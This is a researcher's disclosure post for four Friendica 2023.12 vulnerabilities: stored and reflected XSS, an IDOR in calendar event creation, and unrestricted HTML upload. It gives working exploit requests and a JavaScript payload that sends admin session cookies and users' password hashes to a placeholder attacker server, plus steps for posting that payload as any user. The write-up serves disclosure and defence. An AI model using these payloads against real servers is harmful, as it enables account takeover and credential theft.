Friendica CVE-2024-27728, CVE-2024-27729, CVE-2024-27730, CVE-2024-27731 Disclosure

This a short post disclosing the details of four vulnerabilities affecting Friendica 2023.12 which I identified in February 2024. The following vulnerabilties were discovered:

  1. CVE-2024-27729:
    Stored Cross Site Scripting (XSS) in calendar event feature.
  2. CVE-2024-27730:
    Access control, insecure direct object reference (IDOR) issue in calendar event feature.
  3. CVE-2024-27728:
    Reflected XSS in Babel debug feature.
  4. CVE-2024-27731:
    Reflected XSS via uploaded attachment file.

Each of the XSS vulnerabilities could be exploited to steal an administrator users session cookie or a regular users password hash. The permissions issue affecting the calendar event feature could be exploited to make calendar event posts on behalf of any other user on the Friendica server. When combined with the stored XSS affecting this feature this would allow an attacker to target any user on the server and steal their cookie or password hash when they sign in.

CVE-2024-27729 - Stored XSS in Calendar Event Posts

Friendica has a feature for creating events and sharing them with your followers. The events get shown in your followers feed as seen below:

The text provided in the location parameter when creating the event was not being santised or escaped when it was displayed in users feeds. This meant a simple XSS payload could be embedded within this parameter as shown in the request below:

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=0&cid=0&preview=0&summary=Test+Event&share=1&location=<script>alert("XSS")</script>&visibility=public

The javascript then executes in the browser of any user who views the event in their feed, i.e all of the users followers.

Exploiting the XSS with a CSRF Request

The primary session cookie for Friendica PHPSESSID was set with the HttpOnly flag meaning that it could not be accessed from JavaScript and therefore it was not possible to directly exfiltrate it from the context of the XSS. However, Friendica administrators had access to the phpinfo endpoint which disclosed the PHPSESSID cookie value.

There was also another endpoint that allowed users to backup their Friendica profile information which disclosed the logged in users password hash.

Using these two endpoints it was possible to create an XSS payload that would exfiltrate the users password hash and if the user was an admin also their session cookie:

<script>
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr1.open('GET', '/admin/phpinfo', true);
xhr1.onload = function (){
	if (xhr1.status == 200){
		var cookie = xhr1.responseText.match(/HTTP_COOKIE\s*<\/td>\s*<td class="v">(.+)<\/td>/);
		if (cookie) {
			new Image().src = "https://<ATTACKERS-SERVER>?cookie=" + cookie[1];
		}
	}
};
xhr2.open('GET', '/settings/userexport/backup', true);
xhr2.onload = function () {
	if (xhr2.status == 200) {
		var hash = xhr2.responseText.match(/\"password\":\"([a-zA-Z0-9$\\/\.]+)\",/);
		if (hash) {
			new Image().src = "https://<ATTACKERS-SERVER>?hash=" + hash[1];
		}
	}
};
xhr1.send();
xhr2.send();
</script>

This payload could then be URL encoded and then injected into the location parameter of a new event. When any user views the event in their feed, a request containing their secrets is sent to the attackers server.

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=0&cid=0&preview=0&summary=Test+Event&share=1&location=<script>var%20xhr1%20%3D%20new%20XMLHttpRequest%28%29%3Bvar%20xhr2%20%3D%20new%20XMLHttpRequest%28%29%3Bxhr1%2Eopen%28%27GET%27%2C%20%27%2Fadmin%2Fphpinfo%27%2C%20true%29%3Bxhr1%2Eonload%20%3D%20function%20%28%29%20%7B%20%20if%20%28xhr1%2Estatus%20%3D%3D%20200%29%20%7B%20%20%20%20var%20cookie%20%3D%20xhr1%2EresponseText%2Ematch%28%2FHTTP%5FCOOKIE%5Cs%2A%3C%5C%2Ftd%3E%5Cs%2A%3Ctd%20class%3D%22v%22%3E%28%2E%2B%29%3C%5C%2Ftd%3E%2F%29%3B%20%20%20%20if%20%28cookie%29%20%7B%20%20%20%20%20%20%20%20new%20Image%28%29%2Esrc%20%3D%20%22https%3A%2F%2FXXX%3F%22%20%2B%20cookie%5B1%5D%3B%20%20%20%20%7D%20%20%7D%20%7D%3Bxhr2%2Eopen%28%27GET%27%2C%20%27%2Fsettings%2Fuserexport%2Fbackup%27%2C%20true%29%3Bxhr2%2Eonload%20%3D%20function%20%28%29%20%7B%20%20if%20%28xhr2%2Estatus%20%3D%3D%20200%29%20%7B%20%20%20%20var%20hash%20%3D%20xhr2%2EresponseText%2Ematch%28%2F%5C%22password%5C%22%3A%5C%22%28%5Ba%2DzA%2DZ0%2D9%24%5D%2B%29%5C%22%2C%2F%29%3B%20%20%20%20if%20%28hash%29%20%7B%20%20%20%20%20%20%20%20new%20Image%28%29%2Esrc%20%3D%20%22https%3A%2F%2FXXX%3Fhash%3D%22%20%2B%20hash%5B1%5D%3B%20%20%20%20%7D%20%20%7D%20%7D%3Bxhr1%2Esend%28%29%3Bxhr2%2Esend%28%29%3B</script>&visibility=public

CVE-2024-27730 - Calendar Event IDOR Access Control Issue

There was also an IDOR vulnerability in the calendar event feature that allowed calendar events to be created on behalf of other users. This significantly heightened the impact of the previously described XSS vulnerability because, instead of solely targeting your followers, it made it possible to target any users on the server.

To make a calendar event as another user the contact ID cid value could simply be changed to another users contact ID in the POST request when creating a new calendar event:

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=0&cid=<HERE>&preview=0&summary=Test+Event&share=1&location=&visibility=public

At this point the calendar event will be created as the other user, however, it is not shared with other users on the server. From looking at the source code the following lines of code are present at the end of the function which handles requests to create the events:

if (!$cid && $uriId) {
	Worker::add(Worker::PRIORITY_HIGH, 'Notifier', Delivery::POST, $uriId, $uid);
}

This shows that the event post will only be shared with other users when the cid value is 0. This clarifies why, when it is altered to another user’s contact ID, it is not displayed on that user’s or their followers' feeds.

To circumvent this the following POST request can be sent to edit the existing event:

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=<EXISTING-EVENT-ID>&cid=0&preview=0&summary=Test+Event&share=1&location=&visibility=public

When editing the event it retains its original author and since the cid value has been changed to 0 the event is sent to the feed of all of the target users followers.

CVE-2024-27728 - Babel Debug Endpoint Reflected XSS

The text parameter on the babel debug endpoint was vulnerable to reflected XSS as it was not escaped before being returned in the HTML reponse:
https://<FRIENDICA-SERVER>/babel?text=<script>alert()</script>&type=html

The XSS payload provided in the sections above could also be used here to steal the victims password hash or session cookie if they are tricked into browsing to the malicious link.

CVE-2024-27731 - Lack of Uploaded File Type Validation Leads to XSS

There was no validation on the type of files that could be uploaded to the media attachment endpoint. It was not possible to achieve RCE via uploading a PHP file to the endpoint because the contents of the file were being stored in the Friendica database rather than as a file on the server. However, it was possible to achieve XSS by uploading an HTML file containing JavaScript, which could then be sent as a link to a victim user.

The following POST request uploads the HTML file:

POST /media/attachment/upload HTTP/1.1
Host: localhost
Content-Length: 293
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpJlAvc1K60euTjM
Cookie: PHPSESSID=a6bf1f1d316d2b792959d4cb7750c2b3

------WebKitFormBoundaryLpJlAvc1K60euTjM
Content-Disposition: form-data; name="userfile"; filename="xss.html"
Content-Type: application/octet-stream

<html>
<body>
<script>alert("XSS")</script>
</body>
</html>
------WebKitFormBoundaryLpJlAvc1K60euTjM--

The uploaded file could then be linked to a victim with a link like the following, where <ATTACHMENT-ID> is the ID of the attachment returned in the previous POST request:
https://<FRIENDICA-SERVER>/attach/<ATTACHMENT-ID>?attachment=0

Note, the attachment parameter must be set to 0 so that the Content-Disposition: attachment header does not get added and cause the file to be downloaded as an attachment.